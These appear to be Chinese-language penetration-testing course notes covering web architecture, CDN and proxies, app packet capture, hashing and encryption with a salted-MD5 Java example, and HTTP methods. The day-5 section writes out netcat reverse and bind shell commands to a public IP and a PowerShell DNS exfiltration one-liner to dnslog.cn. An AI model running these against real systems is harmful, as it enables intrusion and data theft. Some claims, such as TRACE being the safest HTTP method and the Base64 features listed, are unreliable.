第一天 web常规
网站搭建的的模式
子域名模式
www.jiangnan.studio asp程序
@.jiangnan.studio php程序
端口模式
www.jiangnan.studio:80 zblog asp程序
www.jiangnan.studio:8080 wordpress php程序
目录模式
www.jiangnan.studio/zblog zblog asp程序
www.jiangnan.studio/bbs 论坛 dz程序
常规化搭建
原理:源码数据库都在同服务器
影响:无,常规安全测试手法
站库分离
原理:源码数据库在不同的服务器上
储存:其它服务器上的数据库&云数据库产品
影响:数据被单独存放,能连接才可影响数据(拿到的权限必须能影响到数据库才有用)
Web程序源码
开源:容易找到漏洞,有源码
商业:比较普遍,漏洞也比较好找
自写:源码保密,漏洞极难找
开源-源码可见
开源-源码不可见
加密(不影响运行)
语言特性决定
白盒测试-代码审计
路由访问
常规:URL和文件目录对应上
路由访问:mvc源码 java python (URL和文件目录对应不上 要根据配置路由决定)
MIME 类型
MIME类型(Multipurpose Internet Mail Extensions,多用途互联网邮件扩展类型)是一种标准,用于标识文件的类型和格式。它最初是为了在电子邮件中传输不同类型的内容(如文本、图片、音频等)而设计的,后来被广泛应用于互联网,特别是在HTTP协议中,用于描述文件的内容类型。
MIME类型的结构MIME类型由两部分组成:
• 类型(Type):表示文件的类别,例如 text 、 image 、 audio 、 video 等。
• 子类型(Subtype):表示具体的文件格式,例如 html 、 jpeg 、 mp3 等。
它们之间用斜杠 / 分隔,
例如:
• text/html :HTML文件。
• image/jpeg :JPEG图片。
• application/json :JSON文件。
MIME类型在互联网中扮演着重要角色,主要用途包括:
- HTTP响应头:服务器通过 Content-Type 响应头告诉浏览器文件的类型,浏览器根据MIME类型决定如何处理文件(例如显示图片、播放视频或下载文件)。
- 文件上传:在HTML表单中, enctype 属性用于指定表单数据的编码类型(如 multipart/form-data )。
- 电子邮件:MIME类型用于标识邮件正文或附件的格式,例如 text/plain (纯文本邮件)或 text/html (HTML格式邮件)。
- MIME类型与文件扩展名的关系虽然MIME类型通常与文件扩展名相关联,但它们并不是一一对应的关系。例如:• .jpeg 和 .jpg 都对应 image/jpeg 。• .js 文件可以是 application/javascript 或 text/javascript (虽然后者已不推荐使用)。此外,文件扩展名并不总是可靠的标识符,因为文件可以被重命名。因此,服务器通常会根据文件的实际内容来确定MIME类型,而不是仅依赖扩展名。
- 如何查看MIME类型• 浏览器开发者工具:在浏览器的网络请求中查看响应头的 Content-Type 。• 服务器配置文件:例如Apache的 .htaccess 文件或Nginx的配置文件中可以指定文件类型的MIME类型。• 操作系统:某些操作系统(如Linux)可以通过 file 命令查看文件的MIME类型:
file --mime-type -b example.jpg
- 自定义MIME类型如果需要处理自定义文件格式,可以定义自己的MIME类型。通常以 x- 开头,
例如:
• application/x-myapp-data :用于自定义应用程序数据。
第二天 web其他
前后端分离
原理:前端JS框架,API传输数据
影响:
1、前端页面大部分不存在漏洞(由语言特性决定)
2、后端管理大部分不在同域名
3、获得的权限有可能不影响后端(前后端可能不在一个服务器,互不影响)
宝塔+Phpstudy
原理:打包类集成化环境,权限配置或受控制
影响:攻击者权限对比区别
宝塔:
文件管理 锁定目录
命令执行 无 法执行
phpstudy
默认可以 但是可以在创建网站时可以在安全设置中选择
whoami 获取用户权限 - administrator
Docker容器
原理:虚拟化技术独立磁盘空间,非真实物理环境
影响:攻击者虚拟空间磁盘(假象进入的是虚拟空间 docker逃逸)
建站分配站
1.托管
2.申请
原理:利用别人域名模板建立
影响:实质安全测试非目标资产(测试的是建站的平台)
静态Web
html设计的网站
原理:数据没有传输性(js传输另算)
影响:无漏洞
伪静态
动态转为静态的技术
溯源
直接查看日志信息,看哪个IP访问过特定的页面直接抓住
第三天 web拓展
远程桌面连接命令:win + R 输入 mstsc
WEF
原理:web应用防火墙,旨在提供保护
影响:常规web安全测试手段会受到拦截
D盾防护软件(免费)
CDN
原理:内容分发服务,旨在提高访问速度
影响:隐藏真实源IP,导致对目测试错误(会访问就近的CDN服务器)
阿里云备案域名全局CDN加载服务->(准备备案域名,配置cdn加速选项,添加DNS CNAM记录,等待配置完成即可)
超级ping:利用多个不同地区的服务器对目标网站的IP地址进行解析
OSS
原理:云存储服务,可以提高访问速度
影响:上传的文件或解析的文件均来自于OSS资源,无法解析,单独存储
1、修复了上传安全问题
2、文件解析不了
3、但有AccessKey隐患(如果拿到了就可以直接连接到对应的OSS)
阿里云OSS:
1、开通OSS
2、新建Bucket
3、配置Bucket属性
4、配置Access访问
反向代理
原理:通过反向代理转发真实的服务,达到访问的目的
影响:访问的目标只是一个代理,非真实应用服务器(隐藏后端服务器地址,负载均衡,缓存与加速,SSl/TLS终止=处理加密)
Nginx反向代理(添加反向代理配置的是代理服务器)
负载均衡
原理:分摊到多个操作单元上进行执行,共同完成工作任务
影响:有多个服务器加载服务,测试过程中存在多个目标情况
Nginx负载均衡(由代理服务器将访问分发到不同的服务器上)
第四天 APP&小程序
原生开发
安卓一般使用Java语言开发,当然现在也有Kotlin语言进行开发。简单描述就是使用安卓提供的一系列控件来实现页面,复杂点的页面可以通过自定义控件来实现。
使用H5语言开发
使用H5开发的好处有很多,可多端复用,比如浏览器端、iOS端,当然H5的开发体验是没有原生好的。一般这个页面是要分享出去的,就用H5开发。
使用flutter开发
flutter是近年来谷歌推出的一款UI框架,使用dart语言进行开发,支持跨平台,weight渲染直接操作硬件层,体验可以媲美原生。但是flutter技术比较新,生态还不完善,开发起来效率相对较低。
常规Web开发
Web app软件开发简单来说就是开发一个网站,然后加入app的壳。Web一般都非常小,内容都是靠app内的网页展示,受制于网页技术本身,可实现的功能少,而且每次打开几乎所有的内容都需要重新加载,所以反应速度慢,内容加载过多就容易卡死,用户体验差。
APP-开发框架-原生态-IDEA
remusic项目源码
安全影响:反编译(提取源码、提取源码中资产、提取资产进行常规测试)&抓包(抓数据包提取资产、资产类型常规测试)
APP-开发框架-Web封装-封装平台(抓包)
源码 + 打包平台
安全影响:常规Web安全测试
APP-开发框架-H5&Vue-HBuilderX(前后端分离)
安全影响:API&JS框架安全问题&前端测试 (JS渗透、接口安全、框架安全)
小程序 -开发框架-Web封装-封装平台(抓包)
安全影响:常规Web安全测试
小程序-开发框架-H5&Vue-HBuilderX(前后端分离)
安全影响:API&JS框架安全问题&前端测试
第五天 渗透命令
文件上传下载
棱角社区中有对应的生成下载命令的工具
棱角社区:https://forum.ywhack.com/index.php
反弹shell
反弹 Shell(Reverse Shell) 是一种网络安全技术,通常用于攻击者在渗透测试或恶意攻击中获取对目标系统的远程控制。它允许攻击者从目标系统发起连接,回连到攻击者的控制服务器,从而绕过防火墙和网络限制。
工作原理
- 目标系统:被攻击的系统(如服务器或终端设备)。
- 攻击者控制服务器:攻击者设置的服务器,用于接收来自目标系统的连接。
- 反弹 Shell:目标系统上的恶意代码或工具,用于建立从目标系统到攻击者控制服务器的连接。
正向 Shell(Bind Shell)
正向 Shell 是一种远程控制技术,目标设备在某个端口上打开监听,攻击者连接到这个端口获得 Shell 权限,从而控制目标设备。
反向 Shell(Reverse Shell)
反向 Shell 是一种远程控制技术,目标设备主动连接到攻击者的 IP 和端口,将 Shell 权限反弹到攻击者的设备上。
描述 | 描述 | 主体 | 常用场景 |
---|---|---|---|
正向shell | 目标设备监听端口,攻击者连接获得 Shell | 攻击者 | 目标设备有公网 IP 或在同一网络中 |
反向shell | 目标设备连接攻击者,反弹 Shell 权限 | 目标设备 | 绕过防火墙出站连接限制 |
示例:
1、正向连接:本地监听等待连接
Linux控制Windows
//绑定CMD到本地5566端口
nc -e cmd -lvp 5566
//主动连接目标5566
ncat 47.122.23.123 5566
windows控制Linux
//绑定sh到本地5566端口
ncat -e /bin/sh -lvp 5566
//主动连接目标5566端口
nc 47.122.43.123 5566
2、反向连接:主动给出去,对方监听(内网的外网的机器无法访问哪个,只能自己给出去)
windows控制Linux
//绑定CMD到目标5566端口(绑定自己的sh给到攻击方的5566)
ncat -e /bin/sh 47.122.23.123 5566
//等待5566连接
nc -lvvp 5566
Linux控制windows
//绑定CMD到目标5566端口
nc -e cmd 47.122.43.123 5566
//等待5566连接
ncat -lvvp 5566
- 管道符( | )用途:
• 用于将一个命令的输出(stdout)传递到另一个命令的输入(stdin)。
示例:bashls -l | grep "file"
• ls -l 的输出被传递到 grep 的输入中。
Windows 示例:cmddir | find "file"
• dir 的输出被传递到 find 的输入中。 - 或操作符( || )用途:
• 用于在前一个命令失败时执行后一个命令。
• 如果前一个命令的退出状态码(exit code)为非零值,则执行后一个命令。
示例:bashcommand1 || command2
• 如果 command1 失败(退出状态码非零),则执行 command2 。
Linux 示例:bashmkdir test || echo "Directory already exists"
• 如果 mkdir test 失败(例如目录已存在),则输出 "Directory already exists"。
Windows 示例:cmdmkdir test || echo Directory already exists - 与操作符( && )用途:• 用于在前一个命令成功时执行后一个命令。
• 如果前一个命令的退出状态码为零,则执行后一个命令。
示例:bashcommand1 && command2
• 如果 command1 成功(退出状态码为零),则执行 command2 。
Linux 示例:bashmkdir test && echo "Directory created"
• 如果 mkdir test 成功,则输出 "Directory created"。
Windows 示例:cmdmkdir test && echo Directory created - 后台运行符( & )用途:
• 在 Linux 中, & 用于将命令放到后台运行。
• 在 Windows 中, & 用于在同一行中分隔多个命令。
Linux 示例:bashcommand1 &
• 将 command1 放到后台运行。
Windows 示例:cmdcommand1 & command2
• 在同一行中依次执行 command1 和 command2 。 - 单引号( '' )用途:• 用于包裹字符串,防止字符串中的特殊字符被解释。
• 单引号内的内容会被原样输出,不会进行变量展开或转义。
示例:bashecho 'Hello, USER!' • 输出: Hello, USER! (不会替换 $USER 为当前用户)。
Windows 示例:cmdecho 'Hello, %USERNAME%'
• 输出: Hello, %USERNAME% (不会替换 %USERNAME% 为当前用户)。 - 分号( ; )用途:
• 用于在同一行中分隔多个命令。• 与 & 类似,但 ; 不会将命令放到后台运行。
Linux 示例:bashcommand1; command2
• 依次执行 command1 和 command2 ,无论 command1 是否成功。
Windows 示例:cmdcommand1; command2
• 依次执行 command1 和 command2 。
总结:
• | :管道符,用于将一个命令的输出传递到另一个命令的输入。
• || :或操作符,用于在前一个命令失败时执行后一个命令。
• && :与操作符,用于在前一个命令成功时执行后一个命令。
• & :在 Linux 中用于将命令放到后台运行;在 Windows 中用于分隔命令。
• '' :单引号,用于包裹字符串,防止特殊字符被解释。
• ; :分号,用于在同一行中分隔多个命令。
防火墙:一般情况下进站比较严格(一般仅开放几个默认端口),出站比较宽松
漏洞有,但是数据不回显
1、反弹shell
2、带外查询(执行命令但是没有回显)
通过一些其他命令把执行结果带出来
示例:
ping powershell $x=whoami;$x=$x.Replace('\','xxx');$y='.sdfas.dnslog.cn';$z=$x+$y;ping $z
第六天 基础入门-抓包技术 HTTP和HTTPS
抓HTTPS的包需要给浏览器导入证书,使用什么抓包软件就需要用什么抓包软件的证书
远程客户端需要设置代理,让流量走本机才能抓到包
Burpsuite:通过不断的拦截和放行就可以准确的了解具体哪个包是做什么用的(Burpsuite 必须要配置代理才能抓到流量必须要走所配置的代理)
茶杯(charles):有一个转包功能,可以将抓到的的包转发到Burpsuite上面去 茶杯就可以和Burpsuite一起配合使用
windows
# 检查1024到65535范围内的未占用端口
$occupiedPorts = netstat -ano | Select-String "TCP" | ForEach-Object { ($_ -split '\s+')[1].Split(':')[-1] } | Select-Object -Unique
$allPorts = 1024..65535
$unoccupiedPorts = $allPorts | Where-Object { $_ -notin $occupiedPorts }
# 输出未被占用的端口
$unoccupiedPorts
Linux
#!/bin/bash
# 获取所有被占用的端口
occupiedPorts=$(netstat -tulnp | awk '{print $4}' | grep -oP '\d+$' | sort -u)
# 检查范围内的端口是否被占用
for port in {1024..65535}; do
if ! echo "$occupiedPorts" | grep -q "^$port$"; then
echo "$port is not occupied"
fi
done
proxifier工具:在配置文件中的代理服务器中进行配置,配置与burpsuite保持一致,代理规则进行配置让微信的流量走代理(有针对性)
第七天 全局,其它协议的抓包
使用科来(使用起来更为简单)和Wireshark可以基于网卡进行抓包,所有的协议都有可以抓到
封包
封包(Packet) 是网络通信中数据传输的基本单元。它将待传输的数据按照一定的协议和规范进行封装,形成一个独立的数据包,以便在网络中进行传输和处理。
只有在模拟器里面的APP中能够抓到,抓到的包可以再进行发包,像游戏里面的(攻击/移动)操作就可以通过发包实现
渗透测试(Penetration Testing)
渗透测试是一种安全评估方法,通过模拟真实攻击者的行为,发现系统、网络或应用程序中的安全漏洞,并评估其安全性。以下是渗透测试的主要阶段和常用方法:
1.渗透测试的主要阶段
• 前期准备:
• 明确测试范围(黑盒、白盒、灰盒)。
• 与客户签署授权书,明确测试时间、数据处理方式和应急响应机制。
• 搭建测试环境(如 Kali Linux、Metasploit、Burp Suite 等)。
• 信息收集(Reconnaissance):
• 被动侦察:不触发目标警报,通过公开信息收集目标信息(如 WHOIS 查询、搜索引擎、Shodan 等)。
• 主动侦察:直接探测目标,使用工具(如 Nmap、Fping、Sublist3r)扫描目标网络和系统。
• 漏洞扫描与分析:
• 使用自动化扫描工具(如 Nikto、Nessus、OpenVAS)发现潜在漏洞。
• 结合 CVE 数据库验证漏洞的真实性,并人工复现高危漏洞(如 SQL 注入、RCE)。
• 漏洞利用(Exploitation):
• 利用发现的漏洞获取系统访问权限(如 Metasploit、SQLMap、Hydra 等)。
• 权限提升(如 Linux 的linpeas.sh
、Windows 的winpeas.exe
)。
• 后渗透阶段(Post-Exploitation):
• 数据窃取与横向移动(如使用 Netcat 传输文件)。
• 维持持久访问(如设置后门、计划任务等)。
• Web 应用专项测试:
• 检测 SQL 注入、XSS 攻击、文件上传绕过等常见漏洞。
2.常用工具
• Nmap:用于端口扫描和漏洞发现。
• Metasploit:用于漏洞利用和渗透测试。
• Burp Suite:用于 Web 应用安全测试。
• Wireshark:用于网络流量分析。
• SQLMap:用于 SQL 注入漏洞检测。
• Hydra:用于暴力破解登录口令。
逆向破解(Reverse Engineering)
逆向破解是一种通过分析软件的二进制代码来理解其内部工作机制的方法。它常用于安全研究、漏洞挖掘、恶意软件分析和软件破解。以下是逆向破解的主要方法:
1.静态分析
• 反汇编和反编译:
• 使用工具(如 IDA Pro、Ghidra)将二进制代码转换为汇编代码或高级语言代码。
• 分析代码逻辑和算法,寻找潜在的漏洞或弱点。
• 代码审计:
• 对软件代码进行结构化检查和评估,发现安全问题。
• 结合静态分析工具和手工检查,提高效率和准确性。
2.动态分析
• 调试器监控:
• 使用调试器(如 OllyDbg、WinDbg)监控软件运行时的行为和数据流。
• 找到软件的弱点和漏洞,绕过安全机制或测试逻辑。
• 代码注入:
• 向软件中注入恶意代码,改变其行为。
• 使用工具(如 Frida、DLL Injection)实现代码注入。
3.二进制文件分析
• CRC 校验逆向:
• 分析软件的 CRC 校验算法,寻找绕过方法。
• 使用工具(如 CRC32 校验程序)验证校验码。
• 协议分析:
• 使用抓包工具(如 Wireshark)捕捉网络数据包,分析通信协议。
• 识别非正常或可疑的通信模式,发现协议弱点。
4.常用工具
• IDA Pro:强大的反汇编和反编译工具。
• Ghidra:开源的反汇编和反编译工具。
• OllyDbg:动态调试工具。
• WinDbg:Windows 调试工具。
• Frida:代码注入和动态分析工具。
• Wireshark:网络协议分析工具。
总结
• 渗透测试:
• 主要用于评估系统、网络或应用程序的安全性。
• 包括信息收集、漏洞扫描、漏洞利用、后渗透等阶段。
• 常用工具:Nmap、Metasploit、Burp Suite、Wireshark 等。
• 逆向破解:
• 主要用于分析软件的内部工作机制,寻找漏洞或弱点。
• 包括静态分析、动态分析、二进制文件分析和协议分析。
• 常用工具:IDA Pro、Ghidra、OllyDbg、WinDbg、Frida、Wireshark 等。
两者在安全领域都有广泛的应用,但目标和方法有所不同。渗透测试更侧重于发现和利用漏洞,而逆向破解更侧重于理解软件的内部逻辑。
第八天 数据加密
数据在传输的时候会进行编码,安全测试漏洞时通常都会对数据进行修改来进行测试,对方服务器可能会进行解码再代入,这个时候不对自己的数据进行相同的编码处理可能就不会识别。
返回数据和传输的格式也有不同:json、xml、数组、列表
加密可能会需要好几个数据才能进行解密,加密方案一般会写到原码里面不会再数据库中体现,不同的版本就可能会哟用不同的加密方式
现在的解密大多数都是碰撞式解密,碰上了就能解密出来碰不上就解不出来(类似穷举)
识别算法编码类型:
1、看密文位数
2、看密文的特征(数字,字母,大小写,符号等)
3、看当前密文存在的地方(Web,数据库,操作系统等应用,Windows就是NTLM加密)
代码加密,源码进行加密之后就分析不出来了,逆向破解和代码审计就很难做了,而且代码加密了之后不会影响影响代码的功能
第九天 算法加密
安全测试中:
密文-有源码直接看源码分析算法
密文-没有源码1、猜 2、看前端JS(看加密逻辑在不在前端)
1、单向散列加密 -MD5
单向散列加密算法的优点有(以MD5为例):
方便存储,损耗低:加密/加密对性能的损耗微乎其微。
单向散列加密的缺点就是存在暴力破解的可能性,最好通过加盐值的方式提高安全性,此外可能存在散列冲突。MD5加密是可以破解的。
常见的单向散列加密算法有:
MD5 SHA MAC CRC
单向散列加密加盐
1.定义
单向散列加密(One-Way Hashing)是一种将任意长度的输入(通常称为消息)通过散列函数转换为固定长度输出(散列值或哈希值)的过程。这种加密方式是不可逆的,即无法从散列值还原出原始数据。
加盐(Salting)是一种安全措施,通过在原始数据(如密码)中添加一个随机值(盐值),然后对整个字符串进行散列,从而增加散列值的复杂性和唯一性。加盐可以有效防止彩虹表攻击和弱密码问题。
2.加盐的步骤
• 生成盐值:
• 为每个用户生成一个随机的盐值(通常使用 UUID 或其他随机生成器)。
• 盐值应该是唯一的,并且对于每个用户都不同。
• 拼接盐值和密码:
• 将用户输入的密码与盐值拼接在一起,形成一个新的字符串。
• 散列处理:
• 使用散列函数(如 MD5、SHA-256、SHA-3 等)对拼接后的字符串进行散列处理,生成散列值。
• 存储散列值和盐值:
• 将生成的散列值和盐值一起存储到数据库中。通常以盐值$散列值
的格式存储。
3.验证密码
• 从数据库中获取盐值:
• 从数据库中提取存储的盐值。
• 拼接盐值和用户输入的密码:
• 将用户输入的密码与盐值拼接。
• 散列处理:
• 使用相同的散列函数对拼接后的字符串进行散列处理,生成散列值。
• 对比散列值:
• 将生成的散列值与数据库中存储的散列值进行对比。如果相同,则验证成功;否则,验证失败。
4.示例代码
以下是一个使用 Java 实现的加盐散列加密的示例代码:
package com.example.demo.common;
import org.springframework.util.DigestUtils;
import org.springframework.util.StringUtils;
import java.util.UUID;
public class PasswordUtils {
/**
* 生成加盐后的密码
* @param password 明文密码
* @return 加盐后的最终密码
*/
public static String encrypt(String password) {
// 生成随机盐值
String salt = UUID.randomUUID().toString().replace("-", "");
// 使用 MD5 散列算法对密码和盐值拼接后的字符串进行散列
String saltPassword = DigestUtils.md5DigestAsHex((salt + password).getBytes());
// 生成最终的密码格式(盐值$散列值)
String finalPassword = salt + "$" + saltPassword;
return finalPassword;
}
/**
* 验证密码
* @param inputPassword 用户输入的明文密码
* @param finalPassword 数据库中存储的最终密码
* @return 验证结果
*/
public static boolean check(String inputPassword, String finalPassword) {
// 检查输入参数是否有效
if (StringUtils.hasLength(inputPassword) && StringUtils.hasLength(finalPassword) && finalPassword.length() == 65) {
// 从最终密码中提取盐值
String salt = finalPassword.split("\\$")[0];
// 使用相同的散列算法对输入密码进行加盐散列
String checkPassword = encrypt(inputPassword, salt);
// 对比生成的散列值和数据库中的散列值
return checkPassword.equals(finalPassword);
}
return false;
}
/**
* 重载的加密方法,用于验证密码时使用已知的盐值
* @param password 明文密码
* @param salt 已知的盐值
* @return 加盐后的最终密码
*/
public static String encrypt(String password, String salt) {
String saltPassword = DigestUtils.md5DigestAsHex((salt + password).getBytes());
String finalPassword = salt + "$" + saltPassword;
return finalPassword;
}
}
5.应用场景
加盐的单向散列加密广泛应用于以下场景:
• 用户密码存储:在用户注册时,将用户输入的密码进行加盐散列处理后存储到数据库中。
• 用户登录验证:在用户登录时,将用户输入的密码进行加盐散列处理,并与数据库中存储的散列值进行对比。
• 防止彩虹表攻击:通过加盐,即使两个用户使用相同的密码,也会生成不同的散列值,从而有效防止彩虹表攻击。
6.常见散列算法
• MD5:已经不推荐使用,因为存在安全漏洞。
• SHA-1:也不推荐用于新的用途,存在安全漏洞。
• SHA-256:推荐使用,安全性较高。
• SHA-3:最新的散列算法,安全性更高。
7.注意事项
• 盐值的生成:盐值应随机生成,确保每个用户都有唯一的盐值。
• 散列算法的选择:尽量使用更安全的散列算法(如 SHA-256 或 SHA-3)。
• 存储格式:建议将盐值和散列值一起存储,方便后续验证。
通过加盐的单向散列加密,可以显著提高密码存储的安全性,防止常见的攻击手段。
2、对称加密 -AES
对称加密的优点是算法公开计算量小、加密速度快、加密效率高。
缺点是发送方和接收方必须商定好密钥,让然后使双方都能保存好密钥,密钥管理成为双方的负担。
常见的对称加密算法有:
DES AES RC4
3、非对称加密 -RSA
非对称加密的有优点是与对称加密相比,安全性更好,加解密需要不同的密钥,公钥和私钥都可以进行相互的加解密。缺点是加密和解密的花费时间长、速度慢,只适合对少量的数据进行加密。
常见的非对称加密算法:
RSA RSA2 PKCS
加密解密 -识别特征&解密条件
MD5密文特点:
1、由数字“0-9”和字母“a-f”所组成的字符串
2、固定的位数 16 位和 32 位
解密需求:(碰撞解密)密文即可,但复杂的明文可能解不出来
BASE64编码特点:
1、大小写区分,通过数字和字母组合
2、一般情况下密文尾部都会有两个等号(数字结尾一般都有),明文很少的时候可能会没有
3、明文越长密文越长,一般不会出现“/”在密文中
AES、DES密文特点:
同BASE64基本类似,但一般会出现“/”和“+”在密文中
解密需求:密文,模式,加密Key,偏移量,满足条件才可解出
RSA密文特点:
特征同AES,DES相似,但是长度较长,每次加密密文都会改变
解密需求:密文,公钥或私钥即可解出(公钥加密私钥解,私钥加密公钥解)
JS 前端代码加密:
JS 颜文字 jother JSFUCK
颜文字特征:一堆颜文字构成的 js 代码,在 F12 中可直接解密执行
jother 特征:只用! + ( ) [ ] { }这八个字符就能完成对任意字符串的编码。也可在 F12 中解密执行
JSFUCK 特征:与 jother 很像,只是少了{ }
后端代码加密:
PHP .NET JAVA
PHP:乱码,头部有信息
.NET:DLL 封装代码文件
JAVA:JAR&CLASS 文件
举例:Zend ILSpy IDEA
应用场景:版权代码加密,开发特性,CTF 比赛等
部分资源:
https://www.cmd5.com
http://tmxk.org/jother
http://www.jsfuck.com
http://www.hiencode.com
http://tool.chacuo.net/cryptaes
https://utf-8.jp/public/aaencode.html
1.30 余种加密编码类型的密文特征分析(建议收藏)
https://mp.weixin.qq.com/s?__biz=MzAwNDcxMjI2MA==&mid=2247484455&idx=1&sn=e1b4324ddcf7d6
123be30d9a5613e17b&chksm=9b26f60cac517f1a920cf3b73b3212a645aeef78882c47957b9f3c2135cb7ce
051c73fe77bb2&mpshare=1&scene=23&srcid=1111auAYWmr1N0NAs9Wp2hGz&sharer_sharetime=1605
145141579&sharer_shareid=5051b3eddbbe2cb698aedf9452370026#rd
2.CTF 中常见密码题解密网站总结(建议收藏)
https://blog.csdn.net/qq_41638851/article/details/100526839
3.CTF 密码学常见加密解密总结(建议收藏)
https://blog.csdn.net/qq_40837276/article/details/83080460
第10天 HTTP
- get:向特定资源发出请求(请求指定页面信息,并返回实体主体)
- post:向指定资源提交数据进行处理请求(提交表单、上传文件)。又可能导致新的资源的建立或原有资源的修改;
- head:与服务器索与get请求一致的响应,响应体不会返回,获取包含在小消息头中的原信息(与get请求类似,返回的响应中没有具体的内容,用于获取报头);
- put:向指定资源位置上上传其最新内容(从客户端向服务器传输的数据取代指定的文档内容 更新),与post的区别是put为幂等,post为非幂等;
- trace:回显服务器收到的请求,用于测试和诊断。trace是http 八种请求方式之中最安全的
- delete:请求服务器删除request-URL所表述的标识的资源(请求服务器删除页面)
- option:返回服务器针对特定资源所支持的HTML请求方法或Web服务器发送测试服务器功能(允许客户端查看服务器性能)
- connect:HTTP/1.1协议中能够将连接改为管道方式的代理服务器
请求头参数 Request
响应头参数 Response
手机和电脑访问会存在差异,他们的请求和响应的内容存在差异,在漏洞复现得得时候由于设备不同会存在差异
状态码
3xx
1、容错处理 网站访问错误就会自动跳转某个页面
2、访问某个文件自动触发跳转
burpsuit $$
可以让中间的内容变为可替换的量,直接导入字典,就可以不断发包对网站进行测试